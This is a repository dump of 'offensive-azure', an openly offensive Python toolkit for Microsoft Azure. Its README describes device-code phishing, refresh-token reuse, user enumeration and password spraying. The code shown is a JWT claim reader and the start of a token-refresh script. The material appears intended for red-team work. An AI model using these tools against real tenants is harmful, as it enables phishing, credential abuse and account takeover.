├── .github
└── workflows
│ ├── codeql-analysis.yml
│ ├── dependency-review.yml
│ ├── pylint.yml
│ └── python-publish.yml
├── .gitignore
├── .pylintrc
├── LICENSE
├── README.md
├── SECURITY.md
├── offensive_azure
├── Access_Tokens
│ ├── README.md
│ ├── read_token.py
│ ├── requirements.txt
│ └── token_juggle.py
├── Azure_AD
│ ├── README.md
│ ├── get_group_members.py
│ ├── get_groups.py
│ ├── get_resource_groups.py
│ ├── get_subscriptions.py
│ ├── get_tenant.py
│ ├── get_users.py
│ ├── get_vms.py
│ └── requirements.txt
├── Device_Code
│ ├── README.md
│ ├── device_code_easy_mode.py
│ └── requirements.txt
├── Outsider_Recon
│ ├── README.md
│ ├── outsider_recon.py
│ └── requirements.txt
├── User_Enum
│ ├── README.md
│ ├── requirements.txt
│ └── user_enum.py
└── __init__.py
├── poetry.lock
├── pyproject.toml
└── tests
├── __init__.py
└── test_offensive_azure.py
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | #
7 | # ******** NOTE ********
8 | # We have attempted to detect the languages in your repository. Please check
9 | # the `language` matrix defined below to confirm you have the correct set of
10 | # supported CodeQL languages.
11 | #
12 | name: "CodeQL"
13 |
14 | on:
15 | push:
16 | branches: [ main ]
17 | pull_request:
18 | # The branches below must be a subset of the branches above
19 | branches: [ main ]
20 | schedule:
21 | - cron: '42 14 * * 2'
22 |
23 | jobs:
24 | analyze:
25 | name: Analyze
26 | runs-on: ubuntu-latest
27 | permissions:
28 | actions: read
29 | contents: read
30 | security-events: write
31 |
32 | strategy:
33 | fail-fast: false
34 | matrix:
35 | language: [ 'python' ]
36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support
38 |
39 | steps:
40 | - name: Checkout repository
41 | uses: actions/checkout@v3
42 |
43 | # Initializes the CodeQL tools for scanning.
44 | - name: Initialize CodeQL
45 | uses: github/codeql-action/init@v2
46 | with:
47 | languages: ${{ matrix.language }}
48 | # If you wish to specify custom queries, you can do so here or in a config file.
49 | # By default, queries listed here will override any specified in a config file.
50 | # Prefix the list here with "+" to use these queries and those in the config file.
51 | # queries: ./path/to/local/query, your-org/your-repo/queries@main
52 |
53 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
54 | # If this step fails, then you should remove it and run the build manually (see below)
55 | - name: Autobuild
56 | uses: github/codeql-action/autobuild@v2
57 |
58 | # ℹ️ Command-line programs to run using the OS shell.
59 | # 📚 https://git.io/JvXDl
60 |
61 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
62 | # and modify them (or add more) to build your code if your project
63 | # uses a compiled language
64 |
65 | #- run: |
66 | # make bootstrap
67 | # make release
68 |
69 | - name: Perform CodeQL Analysis
70 | uses: github/codeql-action/analyze@v2
71 |
--------------------------------------------------------------------------------
/.github/workflows/dependency-review.yml:
--------------------------------------------------------------------------------
1 | # Dependency Review Action
2 | #
3 | # This Action will scan dependency manifest files that change as part of a Pull Reqest, surfacing known-vulnerable versions of the packages declared or updated in the PR. Once installed, if the workflow run is marked as required, PRs introducing known-vulnerable packages will be blocked from merging.
4 | #
5 | # Source repository: https://github.com/actions/dependency-review-action
6 | # Public documentation: https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement
7 | name: 'Dependency Review'
8 | on: [pull_request]
9 |
10 | permissions:
11 | contents: read
12 |
13 | jobs:
14 | dependency-review:
15 | runs-on: ubuntu-latest
16 | steps:
17 | - name: 'Checkout Repository'
18 | uses: actions/checkout@v3
19 | - name: 'Dependency Review'
20 | uses: actions/dependency-review-action@v1
21 |
--------------------------------------------------------------------------------
/.github/workflows/pylint.yml:
--------------------------------------------------------------------------------
1 | name: Pylint
2 |
3 | on: [push]
4 |
5 | jobs:
6 | build:
7 | runs-on: ubuntu-latest
8 | strategy:
9 | matrix:
10 | python-version: ["3.8", "3.9", "3.10"]
11 | steps:
12 | - uses: actions/checkout@v3
13 | - name: Set up Python ${{ matrix.python-version }}
14 | uses: actions/setup-python@v3
15 | with:
16 | python-version: ${{ matrix.python-version }}
17 | - name: Install dependencies
18 | run: |
19 | python -m pip install --upgrade pip
20 | pip install pylint requests colorama dnspython python-whois pycryptodome
21 | - name: Analysing the code with pylint
22 | run: |
23 | pylint --rcfile=.pylintrc $(git ls-files '*.py')
24 |
--------------------------------------------------------------------------------
/.github/workflows/python-publish.yml:
--------------------------------------------------------------------------------
1 | # This workflow will upload a Python Package using Twine when a release is created
2 | # For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries
3 |
4 | # This workflow uses actions that are not certified by GitHub.
5 | # They are provided by a third-party and are governed by
6 | # separate terms of service, privacy policy, and support
7 | # documentation.
8 |
9 | name: Upload Python Package
10 |
11 | on:
12 | release:
13 | types: [published]
14 |
15 | permissions:
16 | contents: read
17 |
18 | jobs:
19 | deploy:
20 |
21 | runs-on: ubuntu-latest
22 |
23 | steps:
24 | - uses: actions/checkout@v3
25 | - name: Set up Python
26 | uses: actions/setup-python@v3
27 | with:
28 | python-version: '3.8.10'
29 | - name: Install dependencies
30 | run: |
31 | python -m pip install --upgrade pip
32 | pip install build
33 | - name: Build package
34 | run: python -m build
35 | - name: Publish package
36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29
37 | with:
38 | user: __token__
39 | password: ${{ secrets.PYPI_API_TOKEN }}
40 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
--------------------------------------------------------------------------------
/.pylintrc:
--------------------------------------------------------------------------------
1 | [MASTER]
2 |
3 | indent-string='\t'
4 |
5 | [MESSAGES CONTROL]
6 |
7 | disable=too-many-branches, too-many-statements, too-many-locals, duplicate-code, too-many-nested-blocks
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | [](https://www.python.org) [](https://github.com/blacklanternsecurity/offensive-azure/actions/workflows/pylint.yml?query=workflow%3Apylint) [](https://pypi.org/project/offensive-azure/)
6 |
7 | Collection of offensive tools targeting Microsoft Azure written in Python to be platform agnostic. The current list of tools can be found below with a brief description of their functionality.
8 |
9 | - [`./Device_Code/device_code_easy_mode.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Device_Code)
10 | - Generates a code to be entered by the target user
11 | - Can be used for general token generation or during a phishing/social engineering campaign.
12 | - [`./Access_Tokens/token_juggle.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Access_Tokens)
13 | - Takes in a refresh token in various ways and retrieves a new refresh token and an access token for the resource specified
14 | - [`./Access_Tokens/read_token.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Access_Tokens)
15 | - Takes in an access token and parses the included claims information, checks for expiration, attempts to validate signature
16 | - [`./Outsider_Recon/outsider_recon.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Outsider_Recon)
17 | - Takes in a domain and enumerates as much information as possible about the tenant without requiring authentication
18 | - [`./User_Enum/user_enum.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/User_Enum)
19 | - Takes in a username or list of usernames and attempts to enumerate valid accounts using one of three methods
20 | - Can also be used to perform a password spray
21 | - [`./Azure_AD/get_tenant.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
22 | - Takes in an access token or refresh token, outputs tenant ID and tenant Name
23 | - Creates text output file as well as BloodHound compatible aztenant file
24 | - [`./Azure_AD/get_users.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
25 | - Takes in an access token or refresh token, outputs all users in Azure AD and all available user properties in Microsoft Graph
26 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azusers file
27 | - [`./Azure_AD/get_groups.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
28 | - Takes in an access token or refresh token, outputs all groups in Azure AD and all available group properties in Microsoft Graph
29 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file
30 | - [`./Azure_AD/get_group_members.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
31 | - Takes in an access token or refresh token, outputs all group memberships in Azure AD and all available group member properties in Microsoft Graph
32 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file
33 | - [`./Azure_AD/get_subscriptions.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
34 | - Takes in an ARM token or refresh token, outputs all subscriptions in Azure and all available subscription properties in Azure Resource Manager
35 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file
36 | - [`./Azure_AD/get_resource_groups.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
37 | - Takes in an ARM token or refresh token, outputs all resource groups in Azure and all available resource group properties in Azure Resource Manager
38 | - Creates two data files, a raw json file, and a BloodHound compatible azgroups file
39 | - [`./Azure_AD/get_vms.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD)
40 | - Takes in an ARM token or refresh token, outputs all virtual machines in Azure and all available VM properties in Azure Resource Manager
41 | - Creates two data files, a raw json file, and a BloodHound compatible azgroups file
42 | # Installation
43 |
44 | Offensive Azure can be installed in a number of ways or not at all.
45 |
46 | You are welcome to clone the repository and execute the specific scripts you want. A `requirements.txt` file is included for each module to make this as easy as possible.
47 |
48 | ## Poetry
49 |
50 | The project is built to work with `poetry`. To use, follow the next few steps:
51 |
52 | ```
53 | git clone https://github.com/blacklanternsecurity/offensive-azure.git
54 | cd ./offensive-azure
55 | poetry install
56 | ```
57 |
58 | ## Pip
59 |
60 | The packaged version of the repo is also kept on pypi so you can use `pip` to install as well. We recommend you use `pipenv` to keep your environment as clean as possible.
61 |
62 | ```
63 | pipenv shell
64 | pip install offensive_azure
65 | ```
66 |
67 | # Usage
68 |
69 | It is up to you for how you wish to use this toolkit. Each module can be ran independently, or you can install it as a package and use it in that way. Each module is exported to a script named the same as the module file. For example:
70 |
71 | ## Poetry
72 |
73 | ```
74 | poetry install
75 | poetry run outsider_recon your-domain.com
76 | ```
77 |
78 | ## Pip
79 |
80 | ```
81 | pipenv shell
82 | pip install offensive_azure
83 | outsider_recon your-domain.com
84 | ```
85 |
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
1 | # Security Policy
2 |
3 | ## Supported Versions
4 |
5 | Use this section to tell people about which versions of your project are
6 | currently being supported with security updates.
7 |
8 | | Version | Supported |
9 | | ------- | ------------------ |
10 | | All | :white_check_mark: |
11 |
12 | ## Reporting a Vulnerability
13 |
14 | Send an email to debifrank00@gmail.com with any security concerns you may have.
15 |
16 | We will work very quickly to acknowledge and correct any issues identified.
17 |
--------------------------------------------------------------------------------
/offensive_azure/Access_Tokens/README.md:
--------------------------------------------------------------------------------
1 | # Access_Tokens
2 |
3 | ## token_juggle.py
4 |
5 | Requests a new access token for a Microsoft/Azure resource using a refresh token.
6 |
7 | Original inspiration comes directly from [rvrsh3ll](https://twitter.com/424f424f) and his [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) project.
8 |
9 | This script will attempt to load a refresh token from a REFRESH_TOKEN environment variable if none is passed with `-r` or `-R`.
10 |
11 | After a successful refresh to a new access+refresh token pair, the response output will be saved to where you specify with `-o|--outfile`. If you do not specify an outfile, then it will be saved to `./YYYY-MM-DD_HH-MM-SS__token.json`. These can be passed back to the script for further use.
12 |
13 | ## read_token.py
14 |
15 | Reads an access token, parsing the various claims contained within it. Also attempts to validate the signature and tests for token expiration.
16 |
17 | ## Requirements
18 |
19 | ```
20 | pip3 install -r requirements.txt
21 | ```
22 |
23 | ## Usage
24 |
25 | ### token_juggle.py
26 |
27 | #### Using environment variable
28 |
29 | ```
30 | export REFRESH_TOKEN=
31 | python3 token-juggle.py teams
32 | ```
33 |
34 | #### Using a refresh token as input
35 |
36 | ```
37 | python3 token_juggle.py outlook -r
38 | ```
39 |
40 | #### Using an already saved token response from this script
41 |
42 | ```
43 | python3 token_juggle.py ms_graph -R
44 | ```
45 |
46 | #### Help
47 |
48 | ```bash
49 | usage: token_juggle.py [-r 'refresh_token' | -R './path/to/refresh_token.json']
50 |
51 | =====================================================================================
52 | # Requests a new access token for a Microsoft/Azure resource using a refresh token. #
53 | # #
54 | # This script will attempt to load a refresh token from a REFRESH_TOKEN #
55 | # environment variable if none is passed with '-r' or '-R'. #
56 | =====================================================================================
57 |
58 | positional arguments:
59 | resource The target Microsoft/Azure resource. Choose from the following: win_core_management,
60 | azure_management, graph, ms_graph, ms_manage, teams, office_apps, office_manage, outlook,
61 | substrate
62 |
63 | optional arguments:
64 | -h, --help show this help message and exit
65 | -r , --refresh_token
66 | (string) The refresh token you would like to use.
67 | -R , --refresh_token_file
68 | (string) A JSON file saved from this script containing the refresh token you would like to
69 | use.
70 | -o , --outfile
71 | (string) The path/filename of where you want the new token data (json object) saved. If not
72 | supplied, script defaults to "./YYYY-MM-DD_HH-MM-SS__token.json"
73 | ```
74 |
75 | ### read_token.py
76 |
77 | #### Help
78 |
79 | ```bash
80 | usage: read_token.py [-t|--token ]
81 |
82 | ==========================================================
83 | # #
84 | # Reads an access token for a Microsoft/Azure resource #
85 | # #
86 | ==========================================================
87 |
88 | optional arguments:
89 | -h, --help show this help message and exit
90 | -t , --token
91 | The token you would like to read
92 | ```
--------------------------------------------------------------------------------
/offensive_azure/Access_Tokens/read_token.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import sys
21 | import base64
22 | import json
23 | import datetime
24 | import argparse
25 | import colorama
26 | from Crypto.PublicKey import RSA
27 | from Crypto.Signature import PKCS1_PSS
28 | from Crypto.Hash import SHA
29 | import requests
30 |
31 | DESCRIPTION = '''
32 | ==========================================================
33 | # #
34 | # Reads an access token for a Microsoft/Azure resource #
35 | # #
36 | ==========================================================
37 | '''
38 |
39 | # Set up our colors
40 | colorama.init()
41 | SUCCESS = colorama.Fore.GREEN
42 | DANGER = colorama.Fore.RED
43 | WARNING = colorama.Fore.YELLOW
44 | RESET = colorama.Style.RESET_ALL
45 | VALID = colorama.Fore.CYAN
46 |
47 | KEY_ENDPOINT = 'https://login.microsoftonline.com/common/discovery/keys'
48 |
49 | def main():
50 | """Runner method"""
51 | arg_parser = argparse.ArgumentParser(
52 | prog='read_token.py',
53 | usage=SUCCESS + '%(prog)s' + RESET + \
54 | ' [-t|--token ]',
55 | description=DESCRIPTION,
56 | formatter_class=argparse.RawDescriptionHelpFormatter)
57 | arg_parser.add_argument(
58 | '-t',
59 | '--token',
60 | metavar='',
61 | dest='access_token',
62 | type=str,
63 | help='The token you would like to read',
64 | required=True)
65 |
66 | args = arg_parser.parse_args()
67 |
68 | parts = args.access_token.split('.')
69 |
70 | head = parts[0]
71 | payload = parts[1]
72 | signature = parts[2]
73 |
74 | # Parsing access token information
75 | payload_string = base64.b64decode(payload + '==')
76 | payload_json = json.loads(payload_string)
77 | try:
78 | iat_date = datetime.datetime.fromtimestamp(payload_json['iat'])
79 | payload_json['iat'] = iat_date.strftime('%Y-%m-%d, %H:%M:%S')
80 | except KeyError:
81 | payload_json['iat'] = ''
82 | try:
83 | nbf_date = datetime.datetime.fromtimestamp(payload_json['nbf'])
84 | payload_json['nbf'] = nbf_date.strftime('%Y-%m-%d, %H:%M:%S')
85 | except KeyError:
86 | payload_json['nbf'] = ''
87 | try:
88 | exp = payload_json['exp']
89 | exp_date = datetime.datetime.fromtimestamp(payload_json['exp'])
90 | payload_json['exp'] = exp_date.strftime('%Y-%m-%d, %H:%M:%S')
91 | except KeyError:
92 | payload_json['exp'] = ''
93 |
94 | # Finagling amr response to be more readable
95 | try:
96 | auth_methods = str(payload_json['amr'])
97 | auth_methods = auth_methods.replace('pwd', 'Password')
98 | auth_methods = auth_methods.replace('rsa', 'Certificate_Or_Authenticator_App')
99 | auth_methods = auth_methods.replace('otp', 'One-time_Passcode_(email_or_text_message)')
100 | auth_methods = auth_methods.replace('fed', 'Federated_(JWT_or_SAML)')
101 | auth_methods = auth_methods.replace('wia', 'Windows_Integrated_Authentication')
102 | auth_methods = auth_methods.replace('mfa', 'Multi-factor_Authentication')
103 | auth_methods = auth_methods.replace('ngcmfa', 'Multi-factor_Equivalent_(Advanced_Credential_Type')
104 | auth_methods = auth_methods.replace('wiaormfa', 'Windows_Or_Multi-factor')
105 | except KeyError:
106 | auth_methods = ''
107 |
108 | # Finagling acr response to be more readable
109 | try:
110 | auth_class = payload_json['acr']
111 | if auth_class == 0:
112 | auth_class = 'Authentication_Does_Not_Meet_ISO/IEC_29115_Requirements'
113 | elif auth_class == 1:
114 | auth_class = 'Authentication_Meets_ISO/IEC_29115_Requirements'
115 | except KeyError:
116 | auth_class = ''
117 |
118 | # Finagling appidacr/azpacr response to be more readable
119 | try:
120 | client_auth = payload_json['appidacr']
121 | if client_auth == 0:
122 | client_auth = 'Public_Client'
123 | elif client_auth == 1:
124 | client_auth = 'Client_ID_And_Client_Secret_Used'
125 | elif client_auth == 2:
126 | client_auth = 'Client_Certificate_Used'
127 | except KeyError:
128 | try:
129 | client_auth = payload_json['azpacr']
130 | except KeyError:
131 | if client_auth == 0:
132 | client_auth = 'Public_Client'
133 | elif client_auth == 1:
134 | client_auth = 'Client_ID_And_Client_Secret_Used'
135 | elif client_auth == 2:
136 | client_auth = 'Client_Certificate_Used'
137 |
138 | # Finagling acct response to be more readable
139 | try:
140 | user_acct = payload_json['acct']
141 | if user_acct == 0:
142 | user_acct = 'Tenant_Member'
143 | elif user_acct == 1:
144 | user_acct = 'Tenant_Guest'
145 | except KeyError:
146 | user_acct = ''
147 |
148 | result = {
149 | 'Initialized_At': payload_json['iat'],
150 | 'Not_Valid_Before': payload_json['nbf'],
151 | 'Expires': payload_json['exp'],
152 | }
153 |
154 | try:
155 | result['Resource'] = payload_json['aud']
156 | except KeyError:
157 | result['Resource'] = ''
158 | try:
159 | result['Identity_Provider_Issuer'] = payload_json['iss']
160 | except KeyError:
161 | result['Identity_Provider_Issuer'] = ''
162 | try:
163 | result['Token_Reuse_Claim'] = payload_json['aio']
164 | except KeyError:
165 | result['Token_Reuse_Claim'] = ''
166 | result['Authentication_Context_Class'] = auth_class
167 | result['Authentication_Methods'] = auth_methods
168 | try:
169 | result['Application_ID'] = payload_json['appid']
170 | except KeyError:
171 | try:
172 | result['Application_ID'] = payload_json['azp']
173 | except KeyError:
174 | result['Application_ID'] = ''
175 | result['Client_Authentication_Method'] = client_auth
176 | try:
177 | result['Last_Name'] = payload_json['family_name']
178 | except KeyError:
179 | result['Last_Name'] = ''
180 | try:
181 | result['First_Name'] = payload_json['given_name']
182 | except KeyError:
183 | result['First_Name'] = ''
184 | try:
185 | result['IP_Address'] = payload_json['ipaddr']
186 | except KeyError:
187 | result['IP_Address'] = ''
188 | try:
189 | result['Full_Name'] = payload_json['name']
190 | except KeyError:
191 | result['Full_Name'] = ''
192 | try:
193 | result['Verified_Service_Principal'] = payload_json['oid']
194 | except KeyError:
195 | result['Verified_Service_Principal'] = ''
196 | try:
197 | result['PUID'] = payload_json['puid']
198 | except KeyError:
199 | result['PUID'] = ''
200 | try:
201 | result['Internal_Revalidation_String'] = payload_json['rh']
202 | except KeyError:
203 | result['Internal_Revalidation_String'] = ''
204 | try:
205 | result['Consented Scopes'] = payload_json['scp']
206 | except KeyError:
207 | result['Consented Scopes'] = ''
208 | try:
209 | result['Subject_Authorization_Check_Value'] = payload_json['sub']
210 | except KeyError:
211 | result['Subject_Authorization_Check_Value'] = ''
212 | try:
213 | result['Tenant_Region_Scope'] = payload_json['tenant_region_scope']
214 | except KeyError:
215 | result['Tenant_Region_Scope'] = ''
216 | try:
217 | result['Tenant_ID'] = payload_json['tid']
218 | except KeyError:
219 | result['Tenant_ID'] = ''
220 | try:
221 | result['Human_Readable_Token_Subject'] = payload_json['unique_name']
222 | except KeyError:
223 | result['Human_Readable_Token_Subject'] = ''
224 | try:
225 | result['User_Principal_Name'] = payload_json['upn']
226 | except KeyError:
227 | result['User_Principal_Name'] = ''
228 | try:
229 | result['Unique_Token_Identifier'] = payload_json['uti']
230 | except KeyError:
231 | result['Unique_Token_Identifier'] = ''
232 | try:
233 | result['Token_Version'] = payload_json['ver']
234 | except KeyError:
235 | result['Token_Version'] = ''
236 | result['User_Account_Status'] = user_acct
237 | try:
238 | result['Last_Authenticated'] = payload_json['auth_time']
239 | except KeyError:
240 | result['Last_Authenticated'] = ''
241 | try:
242 | result['Users_Country'] = payload_json['ctry']
243 | except KeyError:
244 | result['Users_Country'] = ''
245 | try:
246 | result['Reported_User_Email'] = payload_json['email']
247 | except KeyError:
248 | result['Reported_User_Email'] = ''
249 | try:
250 | result['Originating_VNET_IPv4_Address'] = payload_json['fwd']
251 | except KeyError:
252 | result['Originating_VNET_IPv4_Address'] = ''
253 | try:
254 | result['Group_Membership'] = payload_json['groups']
255 | except KeyError:
256 | result['Group_Membership'] = ''
257 | try:
258 | result['Token_Type'] = payload_json['idtyp']
259 | except KeyError:
260 | result['Token_Type'] = ''
261 | try:
262 | result['Login_Hint'] = payload_json['login_hint']
263 | except KeyError:
264 | result['Login_Hint'] = ''
265 | try:
266 | result['Session_ID'] = payload_json['sid']
267 | except KeyError:
268 | result['Session_ID'] = ''
269 | try:
270 | result['Tenant_Country'] = payload_json['tenant_ctry']
271 | except KeyError:
272 | result['Tenant_Country'] = ''
273 | try:
274 | result['Verified_Primary_Email'] = payload_json['verified_primary_email']
275 | except KeyError:
276 | result['Verified_Primary_Email'] = ''
277 | try:
278 | result['Verified_Secondary_Email'] = payload_json['verified_secondary_email']
279 | except KeyError:
280 | result['Verified_Secondary_Email'] = ''
281 | try:
282 | result['VNET'] = payload_json['vnet']
283 | except KeyError:
284 | result['VNET'] = ''
285 | try:
286 | result['Preferred_Data_Location'] = payload_json['xms_pdl']
287 | except KeyError:
288 | result['Preferred_Data_Location'] = ''
289 | try:
290 | result['Preferred_Language'] = payload_json['xms_pl']
291 | except KeyError:
292 | result['Preferred_Language'] = ''
293 | try:
294 | result['Tenant_Preferred_Language'] = payload_json['xms_tpl']
295 | except KeyError:
296 | result['Tenant_Preferred_Language'] = ''
297 | try:
298 | result['Zero_Touch_Deployment_ID'] = payload_json['ztdid']
299 | except KeyError:
300 | result['Zero_Touch_Deployment_ID'] = ''
301 | try:
302 | result['On-Premises_Security_Identifier'] = payload_json['onprem_sid']
303 | except KeyError:
304 | result['On-Premises_Security_Identifier'] = ''
305 | try:
306 | result['Password_Expiration_Time'] = payload_json['pwd_exp']
307 | except KeyError:
308 | result['Password_Expiration_Time'] = ''
309 | try:
310 | result['Change_Password_URL'] = payload_json['pwd_url']
311 | except KeyError:
312 | result['Change_Password_URL'] = ''
313 | try:
314 | result['User_Within_Corporate_Network'] = payload_json['in_corp']
315 | except KeyError:
316 | result['User_Within_Corporate_Network'] = ''
317 | try:
318 | result['User_Roles_Allowed'] = payload_json['roles']
319 | except KeyError:
320 | result['User_Roles_Allowed'] = ''
321 | try:
322 | result['Tenant_Wide_User_Roles'] = payload_json['wids']
323 | except KeyError:
324 | result['Tenant_Wide_User_Roles'] = ''
325 | try:
326 | result['User_In_A_Group'] = payload_json['hasgroups']
327 | except KeyError:
328 | result['User_In_A_Group'] = ''
329 | try:
330 | result['Groups_List_URL'] = payload_json['groups:src1']
331 | except KeyError:
332 | result['Groups_List_URL'] = ''
333 | try:
334 | result['Additional_User_Name'] = payload_json['nickname']
335 | except KeyError:
336 | result['Additional_User_Name'] = ''
337 |
338 | # Check if token is expired
339 | current_time = datetime.datetime.now().timestamp()
340 | result['Expired'] = current_time > exp
341 |
342 | # Token signature verfication
343 |
344 | head_string = base64.b64decode(head + '==')
345 | head_json = json.loads(head_string)
346 | key_id = head_json['kid']
347 |
348 | if head_json['alg'] == 'RS256':
349 | response = requests.get(KEY_ENDPOINT).json()
350 | public_cert = None
351 | for key in response['keys']:
352 | if key['kid'] == key_id:
353 | public_cert = key['x5c']
354 | break
355 | if public_cert is not None:
356 | public_cert_bin = base64.b64decode(public_cert[0])
357 | jwt_data = f'{head}.{payload}'
358 | jwt_data_bin = base64.b64decode(jwt_data + '==')
359 | signature = signature.replace('-','+').replace('_','/') + '=='
360 | signature_bin = base64.b64decode(signature)
361 | for index in range(0, len(public_cert_bin), 1):
362 | try:
363 | byte = public_cert_bin[index]
364 | next_byte = public_cert_bin[index+1]
365 | except IndexError:
366 | result['Valid_Signature'] = 'Error'
367 | break
368 | if byte == 0x02 and next_byte & 0x80:
369 | index = index + 1
370 | if next_byte & 0x02:
371 | byte_one = str(public_cert_bin[index+2])
372 | while len(byte_one) % 8:
373 | byte_one = '0' + byte_one
374 | byte_two = str(public_cert_bin[index+1])
375 | while len(byte_two) % 8:
376 | byte_two = '0' + byte_two
377 | bytes_concat = byte_one + byte_two
378 | byte_count = int(bytes_concat, 2)
379 | index = index + 3
380 | elif next_byte & 0x01:
381 | byte_one = str(public_cert_bin[index+1])
382 | while len(byte_one) % 8:
383 | byte_one = '0' + byte_one
384 | byte_count = int(byte_one, 2)
385 | index = index + 2
386 |
387 | if public_cert_bin[index] == 0x00:
388 | index = index + 1
389 | byte_count = byte_count - 1
390 |
391 | modulus = public_cert_bin[index:index+byte_count]
392 |
393 | index = index + byte_count
394 | if public_cert_bin[index] == 0x02:
395 | index = index + 1
396 | byte_count = public_cert_bin[index]
397 | exponent = public_cert_bin[index:index+byte_count-1]
398 | else:
399 | result['Valid_Signature'] = 'Error'
400 | break
401 | if exponent and modulus:
402 | exponent_bin = ''
403 | for exp_byte in exponent:
404 | exp_bin = str(bin(exp_byte)).replace('0b', '')
405 | while len(exp_bin) % 8:
406 | exp_bin = '0' + exp_bin
407 | exponent_bin = exponent_bin + exp_bin
408 | modulus_bin = ''
409 | for mod_byte in modulus:
410 | mod_bin = str(bin(mod_byte)).replace('0b', '')
411 | while len(mod_bin) % 8:
412 | mod_bin = '0' + mod_bin
413 | modulus_bin = modulus_bin + mod_bin
414 | rsa = RSA.construct((int(modulus_bin, 2), int(exponent_bin, 2)))
415 | hash_msg = SHA.new()
416 | hash_msg.update(jwt_data_bin)
417 | verifier = PKCS1_PSS.new(rsa.publickey())
418 | valid = verifier.verify(hash_msg, signature_bin) # pylint: disable=not-callable
419 | result['Valid_Signature'] = valid
420 | else:
421 | result['Valid_Signature'] = 'Unsupported Algorithm'
422 |
423 | print()
424 | print(f'{WARNING}TOKEN INFORMATION{RESET}:')
425 | for key, value in result.items():
426 | if key == 'Expired' and value is True:
427 | print(f'{SUCCESS}{key}{RESET}: {DANGER}{value}{RESET}')
428 | elif key == 'Expired' and value is False:
429 | print(f'{SUCCESS}{key}{RESET}: {VALID}{value}{RESET}')
430 | elif key == 'Valid_Signature' and value is True:
431 | print(f'{SUCCESS}{key}{RESET}: {VALID}{value}{RESET}')
432 | elif key == 'Valid_Signature' and value is False:
433 | print(f'{SUCCESS}{key}{RESET}: {WARNING}Unable To Validate{RESET}')
434 | elif value != '':
435 | print(f'{SUCCESS}{key}{RESET}: {value}')
436 | else:
437 | continue
438 |
439 |
440 | if __name__ == '__main__':
441 | main()
442 | sys.exit()
443 |
--------------------------------------------------------------------------------
/offensive_azure/Access_Tokens/requirements.txt:
--------------------------------------------------------------------------------
1 | certifi==2021.10.8
2 | charset-normalizer==2.0.12
3 | colorama==0.4.4
4 | idna==3.3
5 | requests==2.27.1
6 | urllib3==1.26.9
7 |
--------------------------------------------------------------------------------
/offensive_azure/Access_Tokens/token_juggle.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | # pip3 install requests
21 | # pip3 install argparse
22 | # pip3 install colorama
23 |
24 | import os
25 | import sys
26 | import argparse
27 | import time
28 | import json
29 | import requests
30 | import colorama
31 |
32 | # Resources
33 |
34 | # Windows Core Management
35 | WIN_CORE_MANAGEMENT = 'https://management.core.windows.net'
36 |
37 | # Azure Management
38 | # (For use in Az [powershell-will not access AzAD cmdlets without also supplying graph token])
39 | AZURE_MANAGEMENT = 'https://management.azure.com'
40 |
41 | # Graph (For use with Az/AzureAD/AADInternals)
42 | GRAPH = 'https://graph.windows.net'
43 |
44 | # Microsoft Graph (Microsoft is moving towards this from graph in 2022)
45 | MS_GRAPH = 'https://graph.microsoft.com'
46 |
47 | # Microsoft Manage
48 | MS_MANAGE = 'https://enrollment.manage.microsoft.com'
49 |
